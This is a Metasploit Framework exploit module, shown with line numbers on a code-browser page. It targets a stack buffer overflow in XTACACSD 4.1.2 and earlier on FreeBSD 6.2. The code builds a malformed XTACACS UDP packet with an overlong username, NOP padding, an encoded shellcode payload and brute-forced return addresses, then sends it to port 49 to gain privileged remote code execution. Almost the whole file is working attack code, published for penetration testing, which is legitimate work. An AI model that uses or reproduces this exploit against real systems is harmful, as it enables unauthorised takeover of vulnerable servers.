Statistics
| Branch: | Tag: | Revision:

root / modules / exploits / freebsd / tacacs / xtacacsd_report.rb @ master

History | View | Annotate | Download (2.4 kB)

1
##
2
# $Id$
3
##
4

    
5
##
6
# This file is part of the Metasploit Framework and may be subject to
7
# redistribution and commercial restrictions. Please see the Metasploit
8
# Framework web site for more information on licensing and terms of use.
9
# http://metasploit.com/framework/
10
##
11

    
12
require 'msf/core'
13

    
14
class Metasploit3 < Msf::Exploit::Remote
15
        Rank = AverageRanking
16

    
17
        include Msf::Exploit::Remote::Udp
18
        include Msf::Exploit::Brute
19

    
20
        def initialize(info = {})
21
                super(update_info(info,
22
                        'Name'           => 'XTACACSD <= 4.1.2 report() Buffer Overflow',
23
                        'Description'    => %q{
24
                                        This module exploits a stack buffer overflow in XTACACSD <= 4.1.2. By
25
                                sending a specially crafted XTACACS packet with an overly long
26
                                username, an attacker may be able to execute arbitrary code.
27
                        },
28
                        'Author'         => 'MC',
29
                        'Version'        => '$Revision$',
30
                        'References'     =>
31
                                [
32
                                        ['CVE', '2008-7232'],
33
                                        ['OSVDB', '58140'],
34
                                        ['URL', 'http://aluigi.altervista.org/adv/xtacacsdz-adv.txt'],
35
                                ],
36
                        'Payload'        =>
37
                                {
38
                                        'Space'    => 175,
39
                                        'BadChars' => "\x00\x09\x0a\x0b\x0c\x0d\x20",
40
                                        'StackAdjustment' => -3500,
41
                                        'PrependEncoder' => "\x83\xec\x7f",
42
                                        'DisableNops'   =>  'True',
43
                                },
44
                        'Platform'       => 'BSD',
45
                        'Arch'           => ARCH_X86,
46
                        'Targets'        =>
47
                                [
48
                                        ['FreeBSD 6.2-Release Bruteforce',
49
                                                {'Bruteforce' =>
50
                                                        {
51
                                                                'Start' => { 'Ret' => 0xbfbfea00 },
52
                                                                'Stop'  => { 'Ret' => 0xbfbfef00 },
53
                                                                'Step'  => 24,
54
                                                        }
55
                                                },
56
                                        ],
57
                                ],
58
                        'Privileged'     => true,
59
                        'DefaultTarget'  => 0,
60
                        'DisclosureDate' => 'Jan 8 2008'))
61

    
62
                register_options([Opt::RPORT(49)], self.class)
63
        end
64

    
65
        def brute_exploit(address)
66
                connect_udp
67

    
68
                sploit =  "\x80" # Version
69
                sploit << "\x05" # Type: Connect
70
                sploit << "\xff\xff" # Nonce
71
                sploit << "\xff" # Username length
72
                sploit << "\x00" # Password length
73
                sploit << "\x00" # Response
74
                sploit << "\x00" # Reason
75
                sploit << "\xff\xff\xff\xff" # Result 1
76
                sploit << "\xff\xff\xff\xff" # Destination address
77
                sploit << "\xff\xff" # Destination port
78
                sploit << "\xff\xff" # Line
79
                sploit << "\x00\x00\x00\x00" # Result 2
80
                sploit << "\x00\x00" # Result 3
81
                sploit << make_nops(238 - payload.encoded.length)
82
                sploit << payload.encoded + [address['Ret']].pack('V')
83

    
84
                print_status("Trying target #{target.name} #{"%.8x" % address['Ret']}...")
85
                udp_sock.put(sploit)
86

    
87
                disconnect_udp
88
        end
89

    
90
end